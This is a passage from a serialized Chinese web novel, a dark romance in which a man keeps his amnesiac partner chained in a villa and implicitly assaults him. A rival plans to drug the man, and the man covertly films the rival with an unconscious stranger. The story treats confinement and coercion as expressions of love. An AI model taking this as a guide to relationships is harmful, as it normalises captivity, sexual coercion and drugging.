余赋秋没说话。
长庭知等了一会儿,伸出手,轻轻握住他的手:“没关系,不记得也没关系。我帮你记着。所有的事,我都帮你记着。”
他的掌心很热,指尖有薄茧。
余赋秋的手冰凉,一动不动。
“你说过,要和我一起活到很老很老,老到走不动了,就坐在摇椅上看夕阳。”长庭知的声音越来越轻,像在自言自语,“你说下辈子还要遇见我,我说那我要早点找到你,这一次是我要养着你,慢慢地看着你长大。”
“你说说话好不好?”
日复一日,余赋秋越来越沉默,不会笑,不会哭,不会对长庭知有任何的情绪,仿佛是一个木偶。
长庭知的心脏似乎被深深地牵扯着。
余赋秋的睫毛颤了颤,又归于静止。
“就一句,”长庭知往前倾了倾身,“骂我也行,说‘滚’也行,说‘恶心’也行……你以前不是总说吗?说我恶心,说我变态,说我该去死……”
他的声音开始发抖:“你说啊,现在怎么不说了?”
余赋秋缓缓转过头,看向他。
那双眼睛很漂亮,瞳孔是浅褐色的,在光线下像透明的琥珀。
但里面什么都没有,空的,映不出长庭知的影子,映不出任何情绪。
他看着长庭知,像看着空气,看着墙壁,看着房间里任何一件没有生命的摆设。
然后,他又转回去看窗外。
长庭知的心脏猛地一缩,那种被无形的手攥住的窒息感又来了。
他几乎是扑过去抓住余赋秋的手——那只手冰凉,柔软,任他握着,没有任何反抗,也没有任何回应。
“理理我……”长庭知把他的手贴在自己脸上,“求你了,球球,理理我……看我一眼,跟我说句话,什么都行……”
“对啊……”长庭知猛地抬起头来,眼中骤然爆发出一种病态的光芒。
“对……对!”他喃喃自语,声音因为激动而扭曲,“我怎么都没想到呢。”
他轻柔地摸了摸余赋秋的脸,笑得温柔:“我改了,我顺着你的意见,我不再强迫你,你给我的反应是什么?”
他的手指从余赋秋的脸颊滑到下巴,轻轻抬起那张空洞美丽的脸,强迫他看着自己。
“我道歉了,我改了。”长庭知的声音很轻,像情人间呢喃,内容却一字一句,冰冷地砸下来,“可你呢。”
他顿了顿,歪了歪头,像个真的在困惑的孩子:“是沉默。”
“是把我当空气。”
“既然我道歉了、改了、学着尊重你了……你还是这样,”他轻声问,仿佛真的在寻求答案,“那我为什么还要继续‘尊重’你呢?”
余赋秋的睫毛几不可察地颤动了一下。
长庭知捕捉到了这一丝细微的反应,他笑了,这次是真正的、愉悦的笑。
“你看,你还是有感觉的。”他的拇指摩挲着余赋秋的下唇,力道渐渐加重,“但球球,你忘了。”
“我的目的,从来就不是获得你的‘原谅’,或者你的‘回应’。”
“我的目的,从始至终,只有一个——”
他一字一顿,清晰无比:“把、你、留、在、身、边。”
“既然这条路走不通,”他顿了顿,笑容加深,“那我为什么还要继续走呢?”
他凑到余赋秋耳边,热气喷在冰凉的皮肤上:“只要结果是好的——你在这里,在我触手可及的地方,活着,呼吸着——不就好了吗?”
“至于这个过程,你是笑着还是哭着,是爱我恨我还是无视我……”
“不重要了。”
“只要你还留在我的身边,这就够了。”
他神色渐渐癫狂,“对啊,这就足够了。”
余赋秋惊恐地看着他,他赶忙伸出手,“不……你……我,我愿意的。”
“只是我需要一点时间,你,你再等等我,好不好?”
“先,先把春春接回来好不好?”
他必须要先稳住这个疯子,先从鸟笼里出去,再找机会去联系沈昭铭。
作者有话说:
后面有攻再次发疯强制的剧情,这里只是被稳定住了,但他本质还是条疯狗。
他现在处于半融合记忆的状态,精神也不稳定。
第72章 第72章[VIP]
长庭知的情绪倒是渐渐地安稳了下来, 对他的松懈倒是少了一些,至少会在阳光最好的时候,把鸟笼打开, 让他出去走走。
能解开的只是他脖子上面的禁锢, 他的手腕和脚腕还是被冰冷的铁链锁着,余赋秋坐在沙发上,晒着暖呼呼的阳光, 沉思着,他的余光一直在撇着长庭知的视线。
长庭知这个时候总是蹲坐在浅色的地毯上,仰起头看着他, 神色放空, 那双眼神没有焦距。
余赋秋抿了下唇,起身, 主动地蜷缩进他的怀中。
这是他被囚禁以来, 余赋秋第一次主动的示好。
长庭知的手僵在半空,半天没有动,直到余赋秋把头埋在他的脖子处,轻轻地蹭了蹭,他才有了一点点的反应。
他低头, 看着怀中那颗毛茸茸的脑袋, 看着余赋秋苍白的侧脸贴在自己胸前的衬衫上, 感受那几乎微不可察的体温透过布料传来。
温暖的阳光照在他们之间,长庭知可以清晰地听到自己心脏跳动的声音。
余赋秋扬起眸子,碍于锁链, 他没有办法回抱长庭知, 只能是窝在他的怀中,轻声说:“抱抱我, 庭知。”
这是这么多天以来,余赋秋愿意并且主动和他说的第一句话。
不是‘长庭知’,不是‘疯子’,不是‘滚’。
而是那个只存在于遥远过去的、回忆之中的称呼。
长庭知的瞳孔骤然紧缩,现实与回忆在这一刻激烈交锋。
现实是长久的沉默、是彼此折磨的日日夜夜。
他看到过曾经最柔软的余赋秋,那时候的余赋秋,满心满眼里都是他,那时候的余赋秋,也会在这样的午后钻入他的怀抱,脚丫子还是冰凉的就贴着他的小腿,把脸埋入他的颈窝间,含糊地说:“庭知,冷,抱抱我。”
会在生病发烧的时候,抓着他的手指不肯放,烧的迷迷糊糊还要撒娇:“庭知,难受……你,你抱紧一点,我就不难受了。”
会在两个人闹了小别扭后,别别扭扭地蹭过来,扯他的袖子,声音小小的:“庭知,我错了……你别生气,抱抱我好不好?”
每一次,只要余赋秋这样软软地叫他一声:“庭知”,再大的火气,都会融化那双湿漉漉地双眼里面。
而现在……
长庭知的手臂青筋爆起,将怀中这具单薄的身体轻柔地拥入怀中,他舍不得松手,一点也不舍得。
他把脸埋入余赋秋柔软的发间,深深地吸了一口气,仿佛想将这一刻的气息永远刻进肺腑里面,“球球。”
他声音中带上了一丝微弱的哽咽,却夹杂着更深的不安,“你……你……”
你终于肯看我了吗?
你终于是……
长庭知不知道,此刻狂喜涌上了心头,这是他在商界根本无法比拟的喜悦,是陌生的,这比让他拿下了重量级的项目还要让人亢奋,但一丝丝战栗和不安从他的心头蔓延开来,这对于长庭知来说,是一个很复杂又很迷茫的感情。
余赋秋没有回答,只是更温顺地窝在他的怀中,任由他抱着,听着他急促的心跳,感受着他身体的战栗和小心翼翼又想要将他揉入骨血之中的力度。
“你,你是想起来了吗?”长庭知的声音颤抖,带着他自己都没有察觉到的小心翼翼。
余赋秋的睫毛轻轻颤了一下。
他轻轻动了动,在长庭知的颈窝处找到一个更加舒适的位置,然后抬起头,那双眼带着一丝茫然的雾气,却似乎有了温度,望着长庭知紧绷的下颚线。
“我,我还是记不起来。”
日日夜夜被关在这里,每晚都要被迫接收浇.灌,肌肤是长时间不见阳光的病态白,只是眉目间多了他自己都不自知的媚意。
“庭知。”他轻声呼唤道,却似乎有了昔日的影子。
长庭知低下头,对上他的视线,呼吸都放晴了。
余赋秋抿了抿唇,脸颊绯红,他微微垂下眼帘,手指无意识地、轻轻地撤了车长庭知胸前的衣物,似乎是在犹豫。
“我……”他的声音更轻了,窗子微微打开,微风从窗缝之中吹了进来,带着微醺的暖意,“我忘记了很多的事情,是不是?”
长庭知喉头紧涩,应了一声。
“嗯,我们相识十五年,相爱七年,我们有一个孩子……”他裹了裹余赋秋身上的外套,道:“如果过去的两年,我们没有错过,我们马上就要相爱十年。”
人生能有几个十年呢?
“那你给我讲讲,我们怎么认识的,怎么……相爱的?”
他顿了顿,似乎在斟酌自己的措词,“或者讲讲,那些美好的回忆?”
他的语气那么自然,那么柔软,仿佛只是丢了一个记忆的恋人,在向最信任的人索要过去的拼图。
那些伤害和歇斯底里的绝望,仿佛只是一场模糊的噩梦,醒来后,他们依然是彼此最亲密的爱人。
阳光洒在余赋秋扬起的脸上,将他苍白的肌肤映得近乎透明。
所有的不安和焦虑,在这一刻面前,都显得那么微不足道。
长庭知的喉结滚动了两下,手臂又收紧了些,他低下头,额头轻轻抵着余赋秋的额头,闭上眼睛,深深吸了一口气,再睁开眼的时候,眼底翻滚着浓烈得化不开的爱意。
“好。”他的声音沙哑,带着不易察觉的颤抖,“我讲给你听。”
“从最开始讲起,好不好?”
从那个寒冷的冬日,大雪纷飞的夜晚,那个被打的奄奄一息,被冻得瑟瑟发抖得自己,余赋秋如同神明一般降临,将他带了回去。
讲那间破旧却被收拾干净温暖的小屋,讲余赋秋为他辅导功课,讲每一个拮据却充满细碎温暖的日夜。
他的语调越来越慢,越来越沉浸,手臂松松地环着余赋秋,手指一下下轻抚着他的后背,像是再安抚,也像是在确认存在。
余赋秋安静地听着,他微微侧头,将脸颊贴在长庭知的胸口,听着那里沉稳有力的心跳,配合着故事的节拍。
长庭知讲了很久很久。
讲少年时期青涩的依恋,讲他如何发誓要让余赋秋过上好日子。讲他第一次赚到钱时的狂喜,讲他们第一次旅行的笨拙和快乐,讲那些走遍世界的足迹,讲极光下的誓言,讲春春出生时两人的眼泪……
他讲的入神,没察觉到余赋秋的身体僵硬着。
在长庭知说着这些话,他脑海中浮现出的却是沈昭铭和他一起在世界各地留下他们各自的身影。
沈昭铭……为什么会知道这些?
而且和长庭知说的如出一辙。
就好像……
他真的经历过这些。
长庭知吸了吸鼻子,眼尾微红,那些被时光打磨的细节,那些被反复回忆镀上金边的瞬间,如涓涓细流,汇成一条河,将他们两个人温柔地包裹起来。
不知道讲了多久,长庭知的声音渐渐低了下去,变得含糊、呢喃。
他实在是太累了。
连日来的情绪大起大落,这里的别墅很远,长庭知公司又很忙,他不得不每次凌晨起来,然后再深夜回来,只是为了能一直陪伴着余赋秋。
余赋秋突如其来的软化,让长庭知紧绷的神经骤然松懈,倾诉的消耗,将他的疲倦翻涌上来。
他的头越来越沉,最终,轻轻滑落,枕在了余赋秋的膝头。
呼吸变得均匀而绵长。
他睡着了。
余赋秋垂眸,黄昏的余晖投射下来,他的睡颜褪去了平日所有的偏执和疯狂,此刻竟然显出几分难得安宁,浓密的睫毛再眼投出浅浅的阴影,挺直的鼻梁,微微抿着的唇。
看到他眉间褶皱的眉头,余赋秋下意识地,伸出指腹,轻轻揉开他的褶皱,他的神情静静地看着膝盖上沉睡的人。
每次到了夜晚,长庭知一定会来这个房间。
他看不到外面的情况,花园的外面筑起了更高的高墙,阻挡着他的一切视线。
但是从长庭知来房间的时间推算,余赋秋知道他所处的地点一定是非常偏僻,离市中心非常偏远。
长庭知会把他紧紧地抱在怀中,感受着彼此的体温,相拥入眠。
可是余赋秋不想了。
他不想在陪长庭知玩这种无聊的过家家游戏了。
但长庭知自从毁了他的婚礼,将他强制带回这个金色鸟笼的时候,他整个人陷入了一种莫大的恐慌,时而抱着他,手指会止不住的颤抖,时而半夜掐着他的下巴,强迫他醒来,一遍又一遍地啃咬着他的皮肤,声音低沉地问他爱不爱他,他是不是真的球球,是不是真的回来了,是不是又是他自己做的梦。
甚至有时候,他会半夜偷偷爬起来,拿出药瓶,从两颗到后面的五六颗,没有水硬生生地吞下。
余赋秋只是看了一眼,就知道他吃的什么药。
这个药余赋秋经常在过去的两年吃,他刚出院的时候,整个人精神极度不稳定,浑身充斥着不安全感,如同惊弓之鸟,必须呆在沈昭铭的身边,否则他就会发疯的大喊大叫。
沈昭铭会把他抱在怀里,摸着他的长发,告诉他,他在,不要害怕。
就在余赋秋以为他们会这么过下去的时候,沈昭铭的母亲找到了他,她尖锐地划伤了余赋秋的脸,质问他为什么要缠上沈昭铭?!为什么不能放过沈昭铭?!
余赋秋不知道发生了什么。
他再次醒来的时候,是沈昭铭一脸的抱歉,那一刻,余赋秋什么都明白了。
他开始强硬着自己吃药,把自己关在漆黑的小房间,想要强迫自己去适应这一切。
可是……
他垂眸看着熟睡的长庭知。
在长庭知的故事里面,他好像又变成了另一个陌生的他。
他可以不用再害怕一切。
长庭知会给他一切,会为他承受一切,在他的世界里,余赋秋就是一切。
这么深沉的爱意……
他们怎么会走到这一步?
心中的情绪翻涌着。
爱吗?
余赋秋问自己。
他并非没有完全记起来,看着那一张张的照片和一天天正在恢复的长春春,从长春春的面容,他就知道,他的眉眼真的和长庭知如出一辙。
这样的他,怎么可能不爱长庭知?
那些刻骨铭心的记忆或许被痛苦覆盖,却从未真正消失,这个人的气息,这个怀抱的温度,甚至他叙述故事中的他们,都在撕扯着余赋秋的理智。
他能感觉到自己胸腔里某种熟悉的悸动。
那些故事里的长庭知。
专注、深情、视他如命——
是不是他曾经毫无保留爱过的少年和青年呢?
那份爱太过于深刻,深刻到既便他全部忘记了,心脏还是会传来阵阵的钝痛,留下无法磨灭的烙印。
可是……恨吗?
余赋秋又问自己。
恨的。
恨他为什么要毁了自己的婚礼,恨他为什么要毁了自己的生活,更恨他把自己关在牢笼里面,不顾他的意愿,一遍又一遍地侵.犯他。
恨他将自己重新拖回这无边无际的恩梦。
爱恨如同两条死死交缠在一起的毒蛇,啃噬着他的五脏六腑。
余赋秋轻轻地抬起抬起指尖,拂开了垂落在长庭知额前的一缕碎发。
动作轻柔得像是怕惊醒一个易碎的梦境。
也怕惊醒自己内心深处,那不该有的心软。
……
他曾经做了一个梦。
他睡不着,外头是无边无际浓墨般的黑,连星星的微光都照耀不来。
他起身,吃了超出负荷的安眠药也依旧睡不着,凝视着外头那片阴沉沉的天空。
余赋秋站在窗边很久很久,看着那落了一地惨白的路灯。
他去酒柜里拿了一瓶酒,这瓶酒似乎被保存的很好,上面还贴着标签,他打开来,倒出一小杯,浅浅地抿了一口,口中回荡着酒香。
他忽然走到了另外一个小小的房间。
推开虚掩的门。
他看见了一个孩子。
那个孩子坐在漆黑的房间中,坐在轮椅的上面,望着漆黑的夜空。
长春春的变化余赋秋都知道,但他不知道要怎么去说。
才七岁的孩子,失去了自己的双腿,从一个健全人一夜之间沦为一个残疾人,本该是是爱笑奔跑的年纪,此刻却只能坐在轮椅上面,被困扰了一辈子。
他似乎接受了自己残疾和要坐在轮椅的事实,他会推着轮椅,在白天的时候出来,面对余赋秋,露出一个大大的笑容,伸出手要他抱,撒娇着说:“妈咪!春春要抱抱!”
每晚也都会来余赋秋的房门前,对他说一声晚安。
他不再和以前一样,缠着余赋秋要讲故事了。
他好像——
变成了一个小大人。
一个不哭不闹,安静的小大人。
余赋秋内心的惶恐却像是被无限制放大了一般,他猛地推开了房门,只见长春春小小的身子爬上了露台,窗户大开着,那双软趴趴的腿垂落在台面上,他的手支撑着整个身体的力量,外头下起了雨,顺着风,滴落在他的身体上。
“春春——”
余赋秋的心跳在了喉咙,手颤抖的不行,步伐虚浮,慢慢地走向背对着他,被雨淋湿了半个身子的长春春。
“妈咪。”
长春春转头,漂亮的面容在黑暗中若隐若现,豆大的泪水从他的眼尾滑落,“春春好像都知道了。”
“春春是不是就不该存在这个世界上的?”
“是不是就是春春的存在,才让你和爸爸走到如今的地步?”
“春春以为,只要春春在,爸爸和妈咪就会永远在一起的,可是春春梦到了爸爸和其他人在一起,那个人还怀了爸爸的孩子,他说春春是杂种,春春只是不小心的弄丢了他的一条鱼,他就把春春丢尽了深海里面,好大的鲨鱼要吃了春春……”
“他说春春是不该存在的存在,只有春春死了,一切才能回归正轨……”
余赋秋浑身僵硬。
他抱着长春春的手顿住了。
这是……剧情的警告?
余赋秋一直以为自己只要努力,把长庭知留在自己的身边,一切都会好的,他们还会好的。
但他的坚持换来了什么?
换来了长春春失去了双腿,换来了他身败名裂,坚持下去热爱的事业全部毁于一旦,他仿佛又回到了在精神病院里面被当作拍卖的新娘,他什么也做不了。
他怀着孩子被送去医院抢救的时候,他的爱人把别人抱在怀里,在漫天的烟花里相视一笑。
在他好不容易鼓起勇气,说服自己可以放下一切的时候,他又得知了长春春双腿彻底残废,大脑遭受重创,醒来成为了一个痴呆儿,害怕他,转而投入了柯祈安的怀抱中。
余赋秋周围的梦境开始不断地变化。
长春春带着哭腔的声音回荡在他的耳边:“妈咪……你,是恨爸爸的吗?”
余赋秋只觉得好累,爱意都被无尽地消磨完了,还要带着无尽的恨意彼此折磨下去吗?
他想要放手了。
可是——
余赋秋猛地睁开眼,大汗淋漓,记忆中的痛楚似乎要将他的心脏硬生生地剖开。
他大脑尖锐地叫嚣着。
他忽然摸了摸自己的肚子,在上面看到了一道细小的疤痕。
这里曾经存在一个小生命吗?
可是——
余赋秋看着自己全身的痕迹和被锁住的四肢。
他最初的愿望,只不过是有一个自己的家而已。
作者有话说:
下一次更新在22号,请假三天,最后期末考复习不完了QAQ
第73章 第73章[VIP]
长庭知是什么时候回想起来的呢?
那是一个在星光璀璨的晚会上, 他的身边挽着笑意盈盈的柯祈安。
自从长庭知发布了离婚声明以来,余赋秋被爆出诸多莫须有的丑闻,贪污、偷税漏税、偷窃柯祈安的毕业设计, 甚至欠工人薪资, 背负上巨额的债务。
最让他推上风口浪尖的——是他那场源于十五年前的黑户证明。
他所有的户籍资料都是虚构假的,他甚至找不到出生证明,找不到父母。
他仿佛是不应该存在于这个世界上的人, 是突然出现,留下了自己痕迹之后,又倏然消失的。
有人纷纷要求余赋秋给出回应, 可是余赋秋自那以后, 似乎是销声匿迹了般。
而就是在这么一个情况下,长庭知开始逐渐回想了起来。
他看见自己站在华美的灯光下面, 身旁是温柔倚靠在他臂弯的柯祈安。
那些不属于他的、陌生的记忆纷至沓来。
他头疼的踉跄了一步, 柯祈安担忧地扶住他,柔声道:“没事吧,庭知。”
一阵又一阵的记忆排天倒海般涌来,他连呼吸都带着窒息的痛。
他定定的凝神看着面前的人,恍惚间, 那肖像的眉目让他晃了神, 他伸手想要去抚摸眼前人的脸。
柯祈安心中大喜。
娇俏的脸上忍不住泛起红晕。
果然, 梦中的那道声音果然没有骗他,只要除掉了余赋秋,长庭知自然就是他的。
只是没有那道声音说的那么顺利, 既便长庭知发布了离婚声明, 余赋秋身败名裂,他想要引诱长庭知, 想要更进一步,他已经不满足于单纯的牵手和拥抱了。
他才是最有资格陪伴在长庭知身边的人,他才是长庭知命中注定的爱人,他出身于书香门第,长相漂亮,是千娇百宠的小少爷。
怎么会是余赋秋那种低贱的人所能比拟的?
长庭知只不过是犯了一个错。
他可以原谅他,他年纪小,被余赋秋所迷惑,不是长庭知的问题,全都是余赋秋这个小偷的过错。
而现在,他跟长庭知越走越近,他看见那个人的眼里逐渐倒映出自己清晰的身影。
柯祈安心下激动起来,面上绯红,伸出白嫩的手轻轻抚摸着长庭知的额角,他们亲昵的动作全都尽数在媒体面前被无限制的放大。
各种媒体的抓拍声不绝于耳,甚至有人打趣道:“两位的喜事是不是快要临近了?毕竟咱们长总好不容易恢复了单身。”
柯祈安轻咳了一下,这次他却没有否认,因为他觉得时机也应该到了,这段时间,长庭知也经常带他出席各种的公共场合,甚至公司里的人都称他为总裁夫人的时候,长庭知就在旁边,也没有否认。
他在参加这次晚会的时候,对着长庭知撒娇道:“庭知,这次晚会过后,就去我家见见我爸爸妈妈好不好?他们想要见你,但你之前都太忙了。”
长庭知那时候勾着他的鼻子,笑容宠溺,“好,都依你。”
但本该应和媒体的长庭知,此刻只是低垂着眼眸,眸光中柯祈安的身影一寸寸的裂开。
他定定地看着柯祈安的脸,随即缓慢地摇了摇头,说:“你不是他。”
“你不是他。”
“你为什么敢装作他的?”
柯祈安扬起的笑意僵硬在唇角,他挽着长庭知的手顿了一瞬,“庭,庭知,你说什么呢?”
长庭知没说话,没有高声斥责,甚至没有多余的表情,只是非常冷淡地挥开了柯祈安的手。
动作干净利落,带着不容置疑的拒绝。
柯祈安的手还僵在半空,似乎不敢相信长庭知会在这样的场合拒绝他,“庭知,那边好多媒体,我好害怕……”
先前只要这样,长庭知就会心疼的把他抱入怀中。
但这次,长庭知只是目光平静地扫过柯祈安的脸色,然后他冷淡,音量足以让现场的人都听见,“我想大家是误会了。”
“柯先生只是我的合作伙伴。”
“另外,我并非单身。”
“离婚声明不作数,只是我自己一时间的胡闹而已。”
柯祈安的脸色一寸寸变得难看。
周围那些明或暗的目光,此刻都变成了无声的嘲讽。
他几乎是强撑着最后一点体面,才没有当场失态。
他回到酒店,发疯似的砸碎了所有的东西。
不行,绝对不能这样。
原本只要时间够了,他就可以让长庭知习惯他的存在,好不容易等余赋秋死了,他可以取而代之,重新创造更多独属于他和长庭知的回忆。
可现在,他等不了了。
于是,就在当晚,他加快了计划,那是在梦中遵循本该进行的计划,本应该在那晚酒店就开始发生关系的,但是却因为余赋秋的变故,让他所有的计划都泡汤了。
还让他被哥哥臭骂一顿。
今晚,不会再有任何人来打扰他。
既然长庭知一直推脱,含情脉脉的靠近已经失效,为了余赋秋将死之人还要守身,那就用更直接,更无法挽回的方式。
下药。
然后,怀上长庭知的孩子。
梦中的那道声音告诉他,他就是和长庭知在这样意乱情迷的情况下,怀上了长庭知的孩子。
按照剧情的发展,他一个人带着孩子跑去国外,一个人抚养孩子长大,然后无意之中,孩子找到了父亲,这个时候的长庭知早已经后悔,满世界找他。
柯祈安摸了摸自己的肚子,想到那个已经痴傻了的长春春,他的眼中闪过一丝冰冷的轻蔑,一个没用的傻子,有什么存在的必要?等他的孩子出生,长庭知自然知道谁才是值得重视,谁才配继承一切。
他看着长庭知喝下了那一杯酒,笑容止不住的扩大。
扶着迷迷糊糊的长庭知,进入了被烧毁后,重新建成的老房子。
长庭知曾经和他说,这个房子是他和余赋秋的婚房。
那么,就在这里,他会怀上他和长庭知的孩子。
柯祈安单是想想,整个人就兴奋到忍不住战栗起来。
长庭知闭着眼睛,呼吸似乎有些沉重。
柯祈安快速地检查了一下,确认药效应该开始发作了,他深吸一口气,解开自己的衣扣,然后去浴室清洗。
昏暗的房间里面,只有窗外透进的微弱城市灯光。
房间角落里面的阴影里面,一点极其细微的、属于电子设备的红光,轻轻闪烁了一下。
在柯祈安进入浴室的瞬间,长庭知睁开了眼睛,没有丝毫迷乱或者昏沉,他冷冷地看了在浴室里清洗的背影。
他从角落里拖出一个昏迷的男人,将灯全部开到昏暗,摆好了黑夜中的红光。
在黑暗中,看着屏幕里那交叠的身影,看着柯祈安脸上沉醉的表情,他的唇角、慢慢地勾了起来。
他耐心地录下了足够多的证据,每一个角度,每一个细节,都清晰无比。
然后,悄无声息地消失在了黑暗之中。
……
长庭知在彻底失去了余赋秋的消息之后,他没有闹,没有暴怒,反而是出乎意料的平静。
因为余赋秋会回到他身边的。
他没有带走长春春。
这个认知让长庭知紧绷的神经放松了一瞬。
只要有长春春在,余赋秋会回到他的身边。
他现在还不急着寻找余赋秋,因为他还没有完全融合长庭知的记忆。
那个独属于这份记忆的人格沉睡在他的身体里,连醒来的次数都屈指可数。
所以这份溢满出来的记忆,由长庭知接手了。
他开始去追寻和回忆品读独属于他们之间的点点滴滴,越回忆,他越嫉妒。
深夜的书房,‘他’埋首于熬夜处理文件,余赋秋会悄悄推门进来,放下一杯温热的牛奶,什么也不说,只是安静地坐在旁边的沙发上,抱着膝盖,身上盖着小毯子,直到他自己发现,无奈又宠溺地赶去人去睡,余赋秋会狡猾地笑笑,说“你眼睛里面有红血丝了”,然后被他拉过来轻轻吻一下额头。
那温热的温度似乎还在额头上挥之不去,长庭知坐在他们自己的房间里面,愣神地看着那张位于书桌旁边的沙发和随意抛之在一旁的白色毯子。
这个家他从未让柯祈安来过,更或者说,是他的记忆已经忘了这个地方,将这个地方深埋在心底下面。
他转过身,看见停在了书房门口的一个蓝色的小行李箱,那是他惯用出差用的行李箱,每次都是余赋秋帮他整理好行李,然后拉着这个蓝色的小行李箱,目送他远去的背影。
无论多晚,余赋秋都是会等他,不是喧嚣的接机口,而是在停车场安静的车里,看到他拖着蓝色的小行李箱出现,余赋秋的眼睛就会一下子亮了起来,跳下车小跑过来,然后一把扑进他的怀中,长发垂落在他的脖颈间,如同一只小仓鼠一般,蹭来蹭去,“想你了。”
“累不累?”
长庭知会把疲倦的脑袋靠在余赋秋的肩膀上,嗅着他身上令人安心的、干净的味道,没有说话,只是紧紧地、无声地抱着他。
长庭知的心口仿佛是被一直大手紧紧捏着,呼吸不上来,甚至连胸膛的起伏都带着粘连的疼痛。
他慢慢地起身,去拿那个蓝色的小行李箱,从里面掉出了一个粉色的小奶瓶。
那是春春出生后的某个凌晨,孩子哭闹,但长庭知刚刚工作回来,余赋秋拍戏拍到凌晨也才刚回来,两个人都睡眠不足。
但记忆中的他只是温柔地捂住了余赋秋的耳朵,揉了揉他冻僵的耳垂,确认余赋秋不会被吵醒后,他才爬起来,笨手笨脚地冲奶粉。
春春出生不久,他还是个新手爸爸,还有很多的不会。
他听到身后的动静,看见余赋秋靠在床头,虽然累的已经睁不开眼,却回看着他笑,轻声说:“我们小树做爸爸,冲奶的样子像是在做化学实验一样。”
他会回头瞪他一眼,那张漂亮的脸隐隐约约出现在柔和的灯光之下,有了母性的光辉一般。
长庭知的嘴角忍不住上扬,他捏了捏余赋秋的脸。
喂完奶,两个人会一起挤在婴儿床边的地毯上,看着长春春重新睡去的小脸,在昏暗的夜灯下,两个人的手指悄悄勾在一起。
这是他的老婆。
这是他的爱人。
而婴儿床上,是他们的孩子。
长庭知抱着余赋秋,仿佛拥有了全世界。
……
可是他现在。
把他的全世界弄丢了。
作者有话说:
更新啦,讲的前面的事情,穿插讲
第74章 第74章[VIP]
他现在还不能去找余赋秋, 因为他在这里的事情还没有做完。
自从上次他拂开柯祈安的手,对着镜头说他不是单身的时候。
很多人已经搞不懂了,但长秋集团挂着的离婚声明也的的确确还在, 而且余赋秋的黑户身份之所以被查出来, 也有长庭知的举报在。
他那些证据,白纸黑字,明明白白地写了余赋秋花了多少钱, 和哪些人有联系,获得了一个明明白白‘余赋秋’的身份。
而且有人顺藤摸瓜,查到了余赋秋被迫背负上巨额债务的合伙人背后正是有长庭知的推手, 可以说, 余赋秋变成这样,都有长庭知和柯家的助力。
他们都以为是长庭知看清了余赋秋的真面目, 让余赋秋主动提及离婚, 好让这场五年的婚姻进行一个和平的分手。
但从始至终,除了最后一期的节目有余赋秋的露脸之外,到现在为止,都没有余赋秋的消息。
余赋秋的经纪人褚楚面对镜头,也是面无表情地说着无可奉告。
众人都以为, 在长庭知离婚之后, 他带着柯祈安出现在各个的场合, 两个人眼神拉丝、举止亲密,就在众人都以为他们要在一起的时候。
长庭知却说他不是单身,他没有离婚, 都是他的胡闹。
长庭知没有着急去处理柯祈安, 不单单是为了他背后的柯家,更重要的是他要搞明白一直萦绕在自己梦中的那道声音到底是什么。
他坐在办公室里面, 漆黑的办公室只开了一盏台灯,光线将他深邃的轮空切割得半明半暗。
尤其自从余赋秋消失以后,他和柯祈安的接触越来越频繁,行为举止越来越亲密,那道声音出现得越来越频繁,是低沉、模糊,带着一种不容置疑的指引。
在他要靠近余赋秋的时候,他的大脑会尖锐的喊叫,告诉他这是不正确的,那种身体的疼痛会越来越剧烈,然后他原本还能感知细微的情绪在这顷刻间全都消散,他对于余赋秋,就是一种莫名、被控制的厌恶。
伴随着这种疼痛,他只能在柯祈安的身上才能得到缓解,他靠近柯祈安,那道声音又会变得温柔低语,去缓解那炸裂般的疼痛,然后越接触柯祈安的时候,他能感知到的情绪就越来越多,在他眼中原本整个灰色的世界都变得丰富起来。
甚至在他某些恍惚的时刻,会觉得自己的行动,似乎都在被一种无形的线所牵引。
长庭知极度厌恶这种感觉。
他的人生是要有绝对的掌控,掌控事业、掌控人心,更要掌控自己的心和命运,他是一个下棋的人,习惯于将一切的变数都考虑在内,将所有人视为棋盘上的棋子,他享受那种翻手为云,覆手为雨的快、感,享受将一切都牢牢攥在手心里的实感。
而不是——
在这个声音,这个来源不明,意图不明,却可以察觉并且控制他整个人生的声音。
他是一个活生生的人,怎么可能是别人小说中的角色?
他开始调查。
有意识的去回顾先前的点点滴滴。
发现所有的证据都指向了那一场的车祸之中,他看完了他所能找的所有的余赋秋和长庭知的点点滴滴和网上的剪辑,他自己以前微博发的那些视频和所有的日常vlog。
从那一场车祸之后,一切都变了。
外界的人不知道发生了什么,但是长庭知却知道。
是原本不属于他这个身体的人格出现了,然后做出了一系列的事情。
“你不要在挣扎了!”那道梦中的声音再次出现,“好不容易我让所有的剧情都步入了正规,只差消除最后的一个bug,这个世界就可以稳定了!”
“你安安心心当你的主角攻,你有命定的主角受,你们会有一个独属于自己的孩子,然后幸福安康的过完一生,你会拥有数不尽的财富,才柯家的助力之下,再没有人可以和你抵抗。”
“你甚至可以把那个马戏团的团长千刀万剐,把伤害你的人全都报复,你想干什么都可以!”
“世界都是围绕着你们转的,你到底还有什么不满足?!”
果不其然,在长庭知开始对柯祈安展示恶意的时候,那道声音又出现了。
“你现在只要和柯祈安有一个小孩,一切都圆满了,你为什么就是不肯?”
“孩子?”长庭知挑了挑眉头,看着悬浮在漆黑之中的他梦境的那道声音:“我不是已经有了一个孩子吗?”
“你说的最后一个bug,难道就是他?”
那道声音愣了一下,似乎没想到长庭知会想到这个。
“呵。”长庭知冷笑了一声:“是不是发现根本没办法抹除我第二个人格,并且他的记忆我也开始接受的时候,着急了?”
“我真的很好奇,到底是谁给你的设定和勇气,来决定我的人生,来决定我的爱人,甚至去伤害他们?”
他的目光顿了顿,目光如炬,仿佛要穿透虚无,直视着幕后存在的本质:“我早就察觉到不对劲了,但是我不知道从哪里下手。”
“你所决定的主角受,多庆幸他愚蠢,还好他愚蠢,我才能抓住一丝丝的线索,然后引诱出你。”
“从那场冬天,撞向球球的车祸,最后却被春春挡了下来,让我的孩子双腿粉碎开始,就是你在动手。”
“……”
那道冰冷的电子音诡异地停顿了两秒,似乎是在思考如何回答,“我,是为你好。”
“是他的贪心害了你,如果不是他,你怎么会需要去过那些贫穷的日子?”
“你是主角,值得最好的,他是个bug,会摧毁一切。”
“为我好?”长庭知像是听见了什么笑话,“我自小被拐卖到边境,以卖.淫和贩.毒为生计的村庄,我在这种环境下生长到七岁被卖去马戏团,差点要成为人彘的时候,我逃了出来,差点被打死的时候,是他出现把我带了回去,给我生的希望。”
“我是主角,我就要遭受这一切?”
“这是你的背景,更能为读者喜欢,是不可抗力的,你挣扎是无望的,一切都是设定好的剧情。”
那道声音冷酷的打断他。
“再说了,余赋秋早就已经放弃了你,他已经失踪多日,你再也找不到他。”那道声音还带着讥讽的笑意,“所以,一个都不存在于这个世界上的人,你还要怎么挣扎。”
